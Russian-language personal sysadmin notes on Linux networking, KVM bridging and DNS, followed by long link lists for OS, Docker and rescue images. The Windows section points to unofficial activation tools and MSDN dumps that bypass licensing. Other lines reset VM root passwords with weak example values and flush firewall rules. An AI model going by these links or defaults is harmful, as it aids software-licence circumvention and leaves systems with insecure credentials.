ip route add table nnn 10.10.20.0/24 dev eth0 - создать маршрут в специальной таблице роутинга.
ip route add blackhole 10.10.20.0/24 dev eth0 - создать blackhole маршрут.
ip route add unreachable 10.10.20.0/24 dev eth0 - создать unreachable маршрут.


Использование route
https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-networkscripts-static-routes.html

Просмотреть таблицу можно следующими способами:
route -n (устаревшее)
netstat -rn
ip route show
cat /proc/net/route

route -f операция -тип адресат шлюз интерфейс
Команда route -f удаляет из таблицы данные обо всех шлюзах

Добавление маршрута через шлюз:
route add -net 192.168.0.0/16 gw 10.0.0.1
route add -net 192.168.0.0 netmask 255.255.255.0 gw 10.0.0.1

Добавление маршрута через интерфейс:
route add -net 192.168.0.0/16 dev eth1

Маршрут до отдельного хоста:
route add -host 192.168.0.1 gw 172.16.0.1

Маршрут по умолчанию настраивается следующей командой:
route add default gw 192.168.1.1 eth0

Удаление маршрута: route del ..


настройка сети для убунтовых
https://uzverss.livejournal.com/79797.html (Настройки, работа с сетевыми интерфейсами )
https://netplan.io/examples

nano /etc/netplan/01-network-manager-all.yaml
простой конфиг




вот совсем простенький для виртуалок с двумя сетевыми интерфейсами, один ip внутри хостовой системы, другой наружу




чуть сложнее, для виртуалок с двумя статическими адресами




в этом случае libvirt (kvm qemu) машины ходят в сеть по дефолтной конфигурации, находясь за nat


посложней, несколько адресов, на одном интерфейсе




здесь надо создавать br0 для libvirt (см ниже настройка сети KVM)

netplan --debug apply

netplan try
systemctl restart systemd-networkd
networkctl status -a

ip link set enp3s0 up
ip link set enp3s0 down


настройка сети для rhel
Настройка сети в CentOS 7

Устанавливаем статический ip
узнаём интерфейс
ip a

nano /etc/sysconfig/network-scripts/ifcfg-интерфейс



ip neig flush all # очистить кэш arp
systemd-resolve --flush-caches # очистить кэш dns имён
systemctl restart systemd-resolved # обновить dns
sudo /etc/init.d/dns-clean start # очистить кэш dns имён для старых os

ip ro
yum install net-tools # нужен для роутинга

route add default gw 192.168.1.1 # добавить шлюз по умолчанию
route del default gw 192.168.1.1 # удалить шлюз по умолчанию
route add -net 192.168.2.0/24 gw 192.168.1.2 # дополнительный роутинг
route delete -net 192.168.1.0 # удалить маршрут

лучше обойтись без net-tools, поскольку он устарел
ip route add default via 192.168.1.1
ip route add default via 192.168.1.1

https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-networkscripts-static-routes.html
Для того чтобы добавленные маршруты работали после перезапуска системы необходимо прописать их в /etc/sysconfig/network-scripts/route-имя_интерфейса
default 192.168.0.1 dev eth0
10.10.10.0/24 via 192.168.0.1 dev eth0
172.16.1.0/24 via 192.168.0.1 dev eth0

systemctl restart network


для винды
NIC Teaming в Windows Server 2012
Объединения сетевых адаптеров NIC Teaming в Windows server 2012 R2


настройка сети KVM
http://www.linux-kvm.org/page/HOWTO
Enabling Intel VT and AMD-V virtualization hardware extensions in BIOS
Гость может связаться с внешней сетью, но не может получить доступ к хосту (macvtap)
http://onreader.mdl.ru/MasteringKVMVirtualisation/content/Ch05.html
https://wiki.libvirt.org/page/Networking
https://libvirt.org/formatnetwork.html
KVM: Creating a bridged network with NetPlan on Ubuntu 22.04
uzverss первый запуск OpenWRT на QEMU

LC_ALL=C lscpu | grep Virtualization
cat /proc/cpuinfo |egrep "vmx|svm"
grep -E --color=auto 'vmx|svm|0xc0f' /proc/cpuinfo
lsmod | grep kvm

modprobe kvm-amd
sudo apt-get install cpu-checker
kvm-ok

sudo apt-get install virt-manager
sudo usermod -aG libvirtd `id -un`
sudo virsh net-start default

Создание сети мостов KVM Linux NAT
использовать существующую default конфигурацию сети для создания нового сетевого устройства
virsh net-dumpxml default > br0.xml




в virt-manager добавить сетевое устройство и выбрать br0, адрес будет не за виртуальным nat

определить сеть из файла XML без ее запуска
virsh net-define /etc/libvirt/qemu/networks/br0.xml

запустить (ранее определенную) неактивную сеть
virsh net-start br0

создать переходную сеть, которая не может быть настроена на использование автозапуска
virsh net-create br0.xml

добавить сеть в автозапуск
virsh net-autostart br0

Проверить, включен ли флаг автозапуска
virsh net-list --all

преобразовать сетевое имя в UUID сети
virsh net-uuid br0

проверка доступных мостов в вашей системе
brctl show br0

ip addr show dev br0

Удаление сети
отключить сеть, чтобы поместить ее в неактивный режим
virsh net-destroy br0

проверить
virsh net-undefine br0

brctl show br0

перезапустить
service libvirtd restart

добавить br0 интерфейс к vm, pxe который будет настроен как сервер среды Preboot eXecution.
# virsh attach-interface --domain pxe --type bridge --source br0 --model virtio --config --live
# virsh domiflist pxe

Отсоединение интерфейса, подключенного к виртуальной машине
# virsh detach-interface --domain pxe --type bridge --mac 52:54:00:47:2f:eb --config
# virsh domiflist pxe

на виртуалке
sudo apt install qemu-guest-agent

/etc/network/interfaces


dhclient -v enp7s0
route add default gw 10.1.0.1 enp7s0
ping -I enp7s0 ya.ru



Создание моста Linux с помощью brctl

Создайте новый мост:
# brctl addbr br0

Добавьте устройство к мосту, например eth0:
# brctl addif br0 eth0

Назначение IP-адреса
# ip addr add dev br0 192.168.2.4/24
# ip route add default via 192.168.2.1 dev br0

Покажите текущие мосты и с каким интерфейсом они связаны:
# brctl show

Установите мостовое устройство вверх:
# ip link set up dev br0

Удалите мост, вам нужно сначала установить его вниз:
# ip link set dev br0 down
# brctl delbr br0


DHCP
Для получения настроек по DHCP, выполняем следующую команду:
dhclient eth0

Для отключения получения IP адреса по DHCP, выполняем следующую команду:
killall dhclient


DNS
update-resolve-conf
cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 8.8.8.8
nameserver 8.8.4.4

echo "nameserver 8.8.8.8" >> /etc/resolv.conf

Если система использует systemd-resolved, то указанный выше IP-адрес будет 127.0.0.53

systemd-resolved
Настройка кеширования DNS с помощью systemd-resolved
resolvectl status
files – считывание настроек из файла /etc/hosts (имеет наивысший приоритет);
myhostname – считывание имени текущего хоста;
resolve [!UNAVAIL=return] – считывание настроек с помощью локального кеширующего DNS-сервера, systemd-resolved поддерживает внутренний каталог с собственным файлом resolv.conf;
dns – обращение напрямую к DNS-серверам (имеет низший приоритет).

vim /etc/systemd/resolved.conf
Указать список основных и запасных DNS. Для этого раскомментируйте параметры DNS= и FallbackDNS= и укажите свои значения.
В параметре DNS= рекомендуется указывать IP-адрес главного маршрутизатора в локальной сети.
В параметре FallbackDNS= рекомендуется указывать любые публичные DNS-серверы, например, 77.88.8.88 – бесплатный DNS-сервер от Яндекс.
При необходимости раскомментируйте и укажите нужные значения для следующих параметров:
DNSSEC=yes – набор расширений протокола DNS, позволяющий минимизировать атаки, связанные с подменой IP-адреса при разрешении доменных имён;
DNSOverTLS=yes – стандартный протокол для выполнения разрешения удалённой системы DNS с использованием TLS;
MulticastDNS=no – многоадресный DNS для поиска устройства или службы по имени в локальной сети;
LLMNR=no – протокол стека TCP/IP, выполняющий разрешение имён хостов в локальной сети.
Включите кеширование, раскомментировав параметр Cache= и установив значение yes.
После настройки конфигурационного файла выполните перезапуск службы systemd-resolved и проверьте её статус:

systemctl restart systemd-resolved
systemctl status systemd-resolved
systemctl enable systemd-resolved.service --now


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80


частые команды
ifdown enp3s0
ifup enp3s0

ip link set enp3s0 up - включить enp3s0
ip link set enp3s0 down выключить enp3s0
ip link set wlan0 down - деактивировать wlan0 (ifconfig wlan0 down)
ip link set wlan0 up -активировать wlan0 (ifconfig wlan0 up)

ip link show up
ip address

ip a - узнать интерфейсы
ip addr add 192.168.100.12/24 dev enp3s0 - изменить адрес
ip addr del 192.168.100.5/24 dev enp3s0 - удалить адрес

ip addr add 172.17.2.11/16 brd + dev br0 - добавить дополнительный адрес
ip addr del 172.17.2.11/16 dev br0 - удалить дополнительный адрес


ifconfig enp3s0 192.168.100.12 netmask 255.255.255.0
ifconfig eth0 192.168.100.12 netmask 255.255.255.0

dhclient enp3s0 - получить по dhcp адрес
dhclient -r - удалить его

ip r sh

ip route add 10.0.0.0/24 via 192.168.1.50
route add -net 192.168.100.0/24 dev eth2
ip route delete 10.0.0.0/24

post-up route add -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.50
pre-down route del -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.50

service networking restart
/etc/init.d/networking restart

ethtool eth0
изменить скорость сетевой карточки до 100Mb/s в случае, если там стояла другая скорость.
ethtool -s eth0 speed 100 duplex full

sudo lspci - список pci устройств, среди которых есть и сетевые карты
sudo lspci -v подробнее; sudo lspci -vv - еще подробнее; sudo lspci -vvv - подробнее не бывает :)
sudo lshw - список оборудования, можно посмотреть и логическое имя сетевой карты
sudo lshw -class network список сетевого оборудования с логическими именами
ifconfig, rourte и netstat - устаревшие команды (legacy), вместо них нужно использовать ip и ss


Network namespace - виртуальный сетевой стек в linux
Примеры применения Linux network namespaces (netns)

Команда для очистки ARP кэша в Linux
ip neig flush all

Команда для очистки DNS кэша в Linux
systemd-resolve --flush-caches
systemctl restart systemd-resolved

systemd-resolve --status

ошибки
Определение правильного MTU
ping -M do -s 1500 -c 1 www.example.com
Уменьшайте значение 1500 на 10 каждый раз, пока пинг не будет успешным. Как только пинг завершится успешно, используемым значением будет MTU, которое вы должны использовать.

разное
Network namespaces или несколько виртуальных сетевых карт (интерфейсов) с разными IP на одной машине.
Добавление дополнительных network namespaces к уже настроенным.
Настройте локальный DNS-преобразователь в Ubuntu 20.04 с BIND9
Как заблокировать IP адрес с помощью ufw на Ubuntu Linux

nano /etc/ufw/before.rules
# Block страница блокировки РосТелеком
-A ufw-before-input -s 95.167.13.50 -j DROP
-A ufw-before-input -s 95.167.13.51 -j DROP

ufw reload

nano /etc/host
127.0.0.1 warning.rt.ru

Блокировку Роскомнадзора можно обойти, добавив точку в конец адреса web-сайта





образы для установки
linux
http://mirrors.kernel.org/
------------------------------------------------------------------------
http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/
http://cdimage.debian.org/cdimage/release/current/
debian mini netinstall
https://files.devuan.org/

https://cdimage.ubuntu.com/ubuntu-mini-iso/
http://cdimage.ubuntu.com/releases/
http://cdimage.ubuntu.com/netboot/
http://archive.ubuntu.com/ubuntu/dists/focal/main/installer-amd64/current/legacy-images/netboot/
https://neon.kde.org/download
https://files.kde.org/neon/images/user/current/
https://www.bandshed.net/avlinux/
https://ubuntustudio.org/download/
http://cdimage.ubuntu.com/ubuntustudio/releases/
http://cdimage.ubuntu.com/xubuntu/releases/
http://cdimage.ubuntu.com/mythbuntu/releases/

https://www.linuxmint.com/download.php
https://www.linuxmint.com/download_all.php

https://mxlinux.org/wiki/system/iso-download-mirrors/
https://antixlinux.com/download/
https://www.q4os.org/downloads1.html
https://wmlive.rumbero.org/

https://crunchbangplusplus.org/#download
https://www.bunsenlabs.org/installation.html

https://tile-os.com/
https://gitlab.com/tile-os

https://spirallinux.github.io/

http://runtu.org/runtu/download.html
http://download.astralinux.ru/astra/
https://dl.astralinux.ru/astra/stable/

https://trisquel.info/en/download
https://cdimage.trisquel.info/
------------------------------------------------------------------------
https://developers.redhat.com/products/rhel/download
https://wiki.centos.org/Download
https://git.centos.org/ исходники
https://getfedora.org/
https://spins.fedoraproject.org/
https://getfedora.org/ru/coreos/download/
https://alt.fedoraproject.org/alt/
https://dl.fedoraproject.org/pub/fedora/linux/releases/
http://scientificlinux.org/
http://ftp.scientificlinux.org/linux/scientific/
http://yum.oracle.com/oracle-linux-isos.html
oracle minimal boot iso
https://github.com/oracle/centos2ol
https://repo.almalinux.org/almalinux/
http://repo.virtuozzo.com/vzlinux/
https://repo.openeuler.org/ (Huawei)
https://springdale.math.ias.edu/
https://rockylinux.org/download/

http://downloads.naulinux.ru/pub/NauLinux/sites/
https://redos.red-soft.ru/downloads/

https://www.alcancelibre.org/aldos
------------------------------------------------------------------------
https://download.opensuse.org/tumbleweed/iso/
https://download.opensuse.org/distribution/
------------------------------------------------------------------------
https://www.archlinux.org/download/
https://archlinuxarm.org/about/downloads
https://endeavouros.com/download/
https://endeavouros.com/latest-release/
https://manjaro.org/download/
https://cachyos.org/download/
https://artixlinux.org/download.php - без systemd
https://ctlos.github.io/
https://github.com/ctlos/ctlosiso/releases
https://arcolinux.com/
https://blackarch.org/downloads.html
https://web.obarun.org/ - арч без systemd
https://archbang.org/links/
https://www.hyperbola.info/
https://repo.hyperbola.info:50000/other/live_images/gnu-plus-linux-libre/hyperbola-milky-way-latest/

https://gitlab.archlinux.org/archlinux/archiso
https://archlinux.org/packages/extra/any/archinstall/
https://github.com/archlinux/archinstall
/usr/share/archiso/configs/releng/
https://github.com/archlinux/archinstall/blob/master/examples/guided.py
https://github.com/archlinux/archinstall/blob/master/examples/minimal.py
sudo pacman -S archinstall
Предполагая, что вы используете Live-ISO Arch Linux и загрузились в режиме EFI
python -m archinstall guided
https://github.com/Torxed/archinstall_gui

https://github.com/MatMoul/archfi

https://alci.online/
https://github.com/arch-linux-calamares-installer
https://github.com/arch-linux-calamares-installer/alci-iso
https://github.com/arch-linux-calamares-installer/alci-iso-pure
https://sourceforge.net/projects/alci/files/alci-iso-pure/
https://sourceforge.net/projects/alci/

https://github.com/nwg-piotr/nwg-iso

https://github.com/helmuthdu/aui
https://github.com/ordanax/arch
------------------------------------------------------------------------
https://kde.org/linux/
https://community.kde.org/KDE_Linux
https://kde.org/linux/install/
https://files.kde.org/kde-linux/
------------------------------------------------------------------------
https://store.steampowered.com/steamos/SteamOS
https://help.steampowered.com/ru/faqs/view/65B4-2AA3-5F37-4227
https://steamdeck-images.steamos.cloud/recovery/
------------------------------------------------------------------------
https://kaosx.us/pages/download/
------------------------------------------------------------------------
https://www.mageia.org/ru/downloads/
https://www.openmandriva.org/
http://en.rosalinux.com/downloads/
https://www.rosalinux.ru/rosa-linux-download-links/
------------------------------------------------------------------------
http://ftp.altlinux.org/pub/distributions/ALTLinux/
https://www.altlinux.org/Starterkits/Download
------------------------------------------------------------------------
https://mirrors.slackware.com/slackware/slackware-iso/
http://slackware.uk/
https://slackware.uk/zenwalk/
http://www.slackel.gr
https://slackel.sourceforge.io
http://slarm64.org/
http://www.absolutelinux.org/download.html
https://www.salixos.org/download.html
http://download.zenwalk.org/
https://www.frugalware.org/download
http://cyti.latgola.lv/ruuni/
http://porteus.org/
https://www.slax.org/
------------------------------------------------------------------------
https://nixos.org/nixos/download.html
https://guix.gnu.org/download/
https://ftp.gnu.org/gnu/guix/
https://voidlinux.org/download/
https://alpinelinux.org/downloads/
https://www.adelielinux.org/download/
https://repo.chimera-linux.org/live/latest/
https://crux.nu/Main/Download
https://crux.nu/portdb/
------------------------------------------------------------------------
https://www.gentoo.org/downloads/
https://wiki.calculate-linux.org/ru/
https://www.sabayon.org/download/
------------------------------------------------------------------------
https://asahilinux.org/
------------------------------------------------------------------------

https://kiss.armaanb.net/
https://github.com/kiss-community
https://mls.akdeniz.edu.tr/iso/

https://www.glaucuslinux.org/
https://github.com/glaucuslinux/glaucus/releases

https://www.yoctoproject.org/
https://radix.pro/

http://www.linuxfromscratch.org/
https://book.linuxfromscratch.ru/
https://repo.linuxfromscratch.ru/
https://gitlab.com/Umvirt/lfsautobuilder
https://umvirt.com/linux/autobuilder
https://downloads.umvirt.com/ulfsvm/0.2/ulfsbe/
https://umvirt.com/git/lfsautobuilder/
https://umvirt.com/linux/downloads.html
------------------------------------------------------------------------
https://blendos.co/
------------------------------------------------------------------------
https://endlessos.com/
https://www.endlessos.org/

https://pop.system76.com/
https://carbon.sh/
https://tauos.co/
https://vanillaos.org/
https://wiki.gnome.org/GnomeOS/
------------------------------------------------------------------------

https://chromium.arnoldthebat.co.uk/
https://galliumos.org/download
https://galliumos.org/releases/
https://chrx.org/
https://github.com/reynhout/chrx
------------------------------------------------------------------------

https://developers.google.com/android/images/
https://developer.android.com/topic/generic-system-image/releases
https://developer.android.com/preview/gsi-release-notes
https://developers.google.com/android/ota
https://download.lineageos.org/extras
https://www.android-x86.org/
https://www.blissos.org/
https://www.neverware.com/freedownload#intro-text
------------------------------------------------------------------------
Microsoft linux
https://github.com/microsoft/CBL-Mariner
https://github.com/microsoft/azurelinux/
https://aka.ms/azurelinux-3.0-x86_64.iso
------------------------------------------------------------------------

Многообразие Linux-дистрибутивов

history UNIX
https://github.com/dspinellis/unix-history-repo

BSD
http://ftp.freebsd.org/pub/FreeBSD/releases/
https://www.freebsd.org/ru/where.html
https://mirrors.nomadlogic.org/nomadbsd/
https://mirrors.nomadlogic.org/ravynOS/releases/

http://cdn.openbsd.org/pub/OpenBSD/
https://www.openbsd.org/faq/faq4.html#Download
http://fuguita.org/ livecd openbsd

https://cdn.netbsd.org/pub/NetBSD/
https://www.netbsd.org/

http://mirror-master.dragonflybsd.org/iso-images/
http://www.puredarwin.org/

https://www.midnightbsd.org/download/


solaris
https://illumos.org/docs/about/distro/
https://www.openindiana.org/download/
http://dlc.openindiana.org/isos/hipster/latest/
https://www.openindiana.org/downloads/
https://downloads.omniosce.org/media/stable/
https://omnios.org/download.html
https://wiki.smartos.org/display/DOC/Download+SmartOS
https://wiki.smartos.org/download-smartos/
http://www.tribblix.org/download.html

plan9
http://www.vitanuova.com/inferno/downloads.html
http://9p.io/plan9/download.html
http://9front.org/iso/
https://github.com/brho/akaros
https://github.com/Harvey-OS
https://github.com/JehanneOS/jehanne/
http://lsub.org/ls/projects.html

Redox
https://www.redox-os.org/

RTEMS
https://www.rtems.org/
https://ftp.rtems.org/pub/rtems/releases/

QNX
http://www.qnx.com/download/index.html
http://www.qnx.com/download/group.html?programid=16780

GNU Hurd
https://www.debian.org/ports/hurd/hurd-cd
https://cdimage.debian.org/cdimage/ports/latest/hurd-i386/
https://people.debian.org/~sthibault/hurd-i386/installer/cdimage/
https://d-i.debian.org/daily-images/hurd-i386/
http://www.archhurd.org/download/
https://files.archhurd.org/iso/
https://www.gnu.org/software/hurd/hurd/running/qemu.html

MINIX
http://download.minix3.org/iso/

AmigaOS
https://www.haiku-os.org/get-haiku/
http://aros.sourceforge.net/ru/download.php
http://www.icarosdesktop.org/

Kolibri
http://www.kolibrios.org/ru/

MenuetOS
http://www.menuetos.net/

ToaruOS
https://github.com/klange/toaruos/releases/

Embox
https://github.com/embox/embox
http://emboxing.ru/
http://www.embox.rocks/

https://toaruos.org/
http://www.ponyos.org/
https://www.templeos.org/
------------------------------------------------------------------------

винда
https://www.microsoft.com/en-us/evalcenter/
https://tb.rg-adguard.net/public.php
https://heidoc.net/php/myvsdump.php
https://rentry.co/win10thread
https://massgrave.dev/
https://github.com/massgravel/Microsoft-Activation-Scripts
https://github.com/abbodi1406/KMS_VL_ALL_AIO
Windows Embedded Standard 2009
Windows Embedded 7
Windows XP
Windows Server 2003
https://msdn.lol-inter.net/
https://github.com/mauricew/msdnhash

http://www.colinux.org/
https://andlinux.sourceforge.io/downloads.php

React OS
https://reactos.org/download/

OS/2
eComStation
OS/2 Warp 4.0x
OS/2 Warp 4.52

DOS
https://www.freedos.org/
http://old-dos.ru/
http://fdd5-25.net/doslivecd/
http://www.fdd5-25.net/guishells.htm
PTS-DOS

Разные OS
https://wiki.osdev.org/Projects

музей OS
https://archiveos.org/
https://www.tuhs.org/
https://winworldpc.com/library/operating-systems

интернет архив
https://archive.org/


OS заточенные для виртуализации и контейнеров
сброс пароля в виртуалке
сброс пароля
sudo virt-edit -d название_виртуалки /etc/shadow
virt-sysprep --root-password password:123456 -a guest.img
Fedora Cloud Base Images
virt-sysprep -a образ.qcow2 --root-password password:12345678 --selinux-relabel


https://updates.xcp-ng.org/isos/
https://github.com/89luca89/distrobox
https://genode.org/
https://genode.org/files/sculpt/

https://mirrors.kernel.org/

https://stable.release.core-os.net/amd64-usr/current/
https://alpinelinux.org/downloads/
https://www.qubes-os.org/
https://wiki.centos.org/Download
http://cloud.centos.org/centos/
http://cloud.centos.org/centos/7/atomic/images/
https://alt.fedoraproject.org/cloud/
https://developer.ubuntu.com/core/get-started/kvm
https://distfiles.gentoo.org/releases/amd64/autobuilds/20241108T200358Z/

https://katacontainers.io/
https://www.clearlinux.org/
https://www.redhat.com/en/technologies/cloud-computing/openshift
https://ubuntu.com/core
https://microos.opensuse.org/
https://www.tritondatacenter.com/smartos
https://www.balena.io/os
https://github.com/vmware/photon/wiki/Downloading-Photon-OS
https://github.com/getumbrel/umbrel

https://cdimage.debian.org/cdimage/cloud/
http://cdimage.ubuntu.com/ubuntu-core/
https://build.opensuse.org/image_templates
https://cloud-images.ubuntu.com/
https://vault.astralinux.ru/images/
https://download.freebsd.org/ftp/releases/VM-IMAGES/
https://github.com/rancher/os/releases/
http://www.projectatomic.io/download/
https://coreos.com/os/docs/latest/booting-with-iso.html
https://vmware.github.io/photon/
https://github.com/boot2docker/boot2docker/releases
https://hub.docker.com/explore/

https://www.turnkeylinux.org/all

https://www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html

FreeBSD based distro for virtual hosting platform and appliance
https://clonos.tekroutine.com/download.html
https://myb.convectix.com/download/

https://www.proxmox.com/en/downloads/category/proxmox-virtual-environment

https://www.microsoft.com/en-us/software-download/windows10
https://www.microsoft.com/ru-ru/evalcenter/evaluate-windows-server
Microsoft® Hyper-V™ Server 2008 R2
https://www.microsoft.com/en-us/download/search.aspx?q=msvhds


наборы настроенных виртуалок
https://www.osboxes.org/
https://www.turnkeylinux.org/
https://mirror.turnkeylinux.org/turnkeylinux/images/

https://freedombox.org/download/stable/

разные wm с gns3.com (нажать на APPLIANCES вверху)
https://docs.gns3.com/appliances/cumulus-vx.html

https://openvpn.net/vpn-server-resources/deploying-the-access-server-appliance-on-vmware-esxi/
https://openvpn.net/downloads/openvpn-as-latest-vmware.ova
https://openvpn.net/vpn-server-resources/deploying-the-access-server-appliance-on-hyper-v/
https://openvpn.net/downloads/openvpn-as-latest-hyperv.zip

https://developer.microsoft.com/ru-ru/windows/downloads/virtual-machines
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
Бесплатные VM с Windows для тестирования сайтов на старых версиях IE


Сборник образов ОС для BOCHS и QEMU

образы docker
https://distrobox.it
https://github.com/Dvlv/BoxBuddyRS

https://hub.docker.com/_/scratch
https://hub.docker.com/_/alpine
https://hub.docker.com/_/centos
https://hub.docker.com/_/fedora
https://hub.docker.com/_/debian
https://hub.docker.com/_/ubuntu
https://hub.docker.com/_/ubuntu-debootstrap
https://hub.docker.com/_/opensuse
https://hub.docker.com/r/nixos/nix
https://hub.docker.com/_/crux
https://hub.docker.com/_/mageia
https://hub.docker.com/_/alt
https://hub.docker.com/r/chimeralinux/chimera
https://nest.parrotsec.org/build/docker-images/
https://hub.docker.com/_/sourcemage
https://hub.docker.com/_/busybox

https://hub.docker.com/publishers/oracle
https://hub.docker.com/_/amazonlinux
https://hub.docker.com/_/kong
https://hub.docker.com/_/neurodebian
https://hub.docker.com/u/cumulusnetworks

https://hub.docker.com/r/vbatts/slackware
https://hub.docker.com/r/yukoff/slackware-32bit
------------------------------------------------------------------------
https://hub.docker.com/r/hectormolinero/qemu-reactos
https://github.com/hectorm/docker-qemu-reactos
------------------------------------------------------------------------
Запуск Windows-контейнеров под Linux и MacOS
https://github.com/dockur/windows
docker run -it --rm --name windows -p 8006:8006 --device=/dev/kvm --device=/dev/net/tun --cap-add NET_ADMIN -v ${PWD:-.}/windows:/storage --stop-timeout 120 dockurr/windows
https://github.com/dockur/macos
docker run -it --rm --name macos -p 8006:8006 --device=/dev/kvm --device=/dev/net/tun --cap-add NET_ADMIN -v ${PWD:-.}/macos:/storage --stop-timeout 120 dockurr/macos
------------------------------------------------------------------------
https://hub.docker.com/publishers/microsoftowner
https://hub.docker.com/_/microsoft-windows-base-os-images
https://hub.docker.com/_/microsoft-windows
https://hub.docker.com/_/microsoft-windows-servercore
https://hub.docker.com/_/microsoft-windows-nanoserver
------------------------------------------------------------------------
https://hub.docker.com/r/adelton/freeipa-server/
------------------------------------------------------------------------
https://hub.docker.com/r/harveyos/harvey/
------------------------------------------------------------------------
https://hub.docker.com/_/docker
https://hub.docker.com/_/docker-dev

https://hub.docker.com/_/nginx
https://hub.docker.com/r/nginx/unit/

https://hub.docker.com/_/postgres
https://hub.docker.com/_/mariadb

https://hub.docker.com/_/python
https://hub.docker.com/_/pypy
https://hub.docker.com/_/anaconda
https://hub.docker.com/_/django
https://hub.docker.com/_/plone


https://hub.docker.com/_/php
https://hub.docker.com/_/composer
https://hub.docker.com/_/php-zendserver
https://hub.docker.com/_/joomla
https://hub.docker.com/_/drupal
https://hub.docker.com/_/mediawiki
https://hub.docker.com/u/yiisoftware
https://phpdocker.io/generator

https://hub.docker.com/_/node

https://hub.docker.com/_/openjdk
https://hub.docker.com/_/perl
https://hub.docker.com/_/ruby
https://hub.docker.com/_/rails
https://hub.docker.com/_/golang
https://hub.docker.com/_/haskell
https://hub.docker.com/_/hello-world

https://hub.docker.com/r/phusion/baseimage
------------------------------------------------------------------------
https://github.com/GoogleContainerTools/jib

https://hub.docker.com/r/bellsoft/liberica-openjdk-alpine-musl
https://hub.docker.com/r/bellsoft/liberica-openjdk-alpine

https://github.com/Dixaba/qt5-gcc-cross
https://github.com/sqglobe/SimpleQtProject/tree/master/docker
------------------------------------------------------------------------
https://hub.docker.com/r/schuellerf/xfce-test/tags

------------------------------------------------------------------------
может пригодится
https://mxe.cc/
------------------------------------------------------------------------
Subuser превращает контейнеры Docker в обычные программы Linux
сборка с браузером и крысой
https://github.com/ConSol/docker-headless-vnc-container
https://hub.docker.com/r/creack/firefox-vnc
https://hub.docker.com/r/amanral/ubuntu-firefox/

использование Docker для запуска всех настольных приложений на компьютере
Контейнеры Docker на рабочем столе
https://github.com/jessfraz/dockerfiles
https://hub.docker.com/u/jess
------------------------------------------------------------------------
5.94-метровый docker-образ с Telegram MTProxy
https://hub.docker.com/r/telegrammessenger/proxy/
https://hub.docker.com/r/alexdoesh/mtproxy/

------------------------------------------------------------------------
OpenVPN
https://hub.docker.com/r/umputun/dockvpn
https://github.com/umputun/dockvpn
------------------------------------------------------------------------


OS заточенные на безопасность
https://www.kali.org/
https://blackarch.org/
https://www.backbox.org/
https://www.parrotsec.org/
https://fedoraproject.org/labs/security
http://www.deftlinux.net/
http://www.samurai-wtf.org/
https://www.pentoo.ch/
http://bugtraq-team.com/
https://archstrike.org/
https://sourceforge.net/projects/nst/files/
http://www.samuraiwtf.org/
https://tails.boum.org/
https://tails.net/
https://www.qubes-os.org/
https://docs.remnux.org/install-distro/get-virtual-appliance

https://www.whonix.org/wiki/VirtualBox
https://www.whonix.org/wiki/KVM#


ремонтные образы
https://www.hirensbootcd.org/download/
https://www.hirensbootcd.org/old-versions/
http://www.ultimatebootcd.com/
https://www.supergrubdisk.org/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://github.com/ValdikSS/Super-UEFIinSecureBoot-Disk
http://www.system-rescue-cd.org/Old-versions/
http://www.system-rescue-cd.org/Download/
https://distfiles.gentoo.org/releases/amd64/autobuilds/current-admincd-amd64/
https://sourceforge.net/projects/systemrescuecd/files/sysresccd-x86/
https://www.altlinux.org/Rescue
https://clonezilla.org/downloads.php
https://gparted.org/download.php
https://rescuezilla.com/download.html
https://github.com/rescuezilla/rescuezilla/releases
https://sourceforge.net/p/boot-repair-cd/home/ru/
https://www.supergrubdisk.org/category/download/
https://github.com/minios-linux/minios-live/releases
https://grml.org/download/
https://github.com/leahneukirchen/hrmpf
https://mfsbsd.vx.sk/
https://debiandog.github.io/doglinux/
https://nomadbsd.org/download.html
http://knopper.net/knoppix-mirrors/index-en.html
http://frenzy.org.ua/ru/releases/1.4/download.shtml
https://www.hddsuperclone.com/hddlivecd/download
https://ab57.ru/soft/erd50.iso
https://white55.ru/soft/dart10.iso
https://hdd.by/Victoria/vcr35cd.zip
https://hdd.by/Victoria/mhdd32ver4.6iso.zip
https://hdd.by/Victoria/Windows7-10PE.zip

опции загрузки system-rescue-cd
https://www.system-rescue.org/manual/Booting_SystemRescue/
https://www.system-rescue.org/scripts/reverse_ssh/
nofirewall останавливает службы iptables и ip6table, которые включены по умолчанию, нужно для подключения по ssh
rootpass=password123 : Устанавливает пароль root для системы, работающей на livecd, равным password123, нужно для подключения по ssh
dovnc Автоматически запускать VNC-сервер для удалённого подключения через графический сеанс.
vncpass=password123 Задаёт пароль VNC для удалённого подключения. Без этой опции подключения к VNC-серверу не будут ограничены
setkmap=xx определяет, какую раскладку клавиатуры настроить в системе, где xx соответствует коду раскладки клавиатуры.

systemctl stop iptables.service
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
iptables -F очищает все правила во всех цепочках брандмауэра, а также удаляет все пользовательские цепочки, если применить с опцией -X


скачать с sourceforge.net





минимальные загрузочные образы
https://ru.m.wikipedia.org/wiki/Категория:Миниатюрные_дистрибутивы_Linux
https://www.alpinelinux.org/downloads/
https://crux.nu/Main/Download
https://files.devuan.org/devuan_ascii/minimal-live/
https://wiki.calculate-linux.org/ru/cls
https://www.slax.org/
http://porteus.org/
https://github.com/minios-linux/minios-live
http://www.gnustep.org/
https://wmlive.sourceforge.net/
http://www.tinycorelinux.net/
http://minimal.linux-bg.org/#home
https://github.com/ivandavidov/minimal
http://www.puppylinux.com/
http://wiki.puppyrus.org/distr
http://www.slitaz.org/ru/get/
https://mfsbsd.vx.sk/
https://mfsbsd.vx.sk/files/iso/
Floppinux — Linux, умещенный на дискету
https://github.com/w84death/floppinux


специализированные образы
https://t2sde.org/
http://dl.t2-project.org/binary/2022/

https://bedrocklinux.org/
https://github.com/bedrocklinux/bedrocklinux-userland


https://ubuntustudio.org/download/
http://www.bandshed.net/avlinux/
http://download.linuxaudio.org/avlinux/
http://www.linuxmce.org/
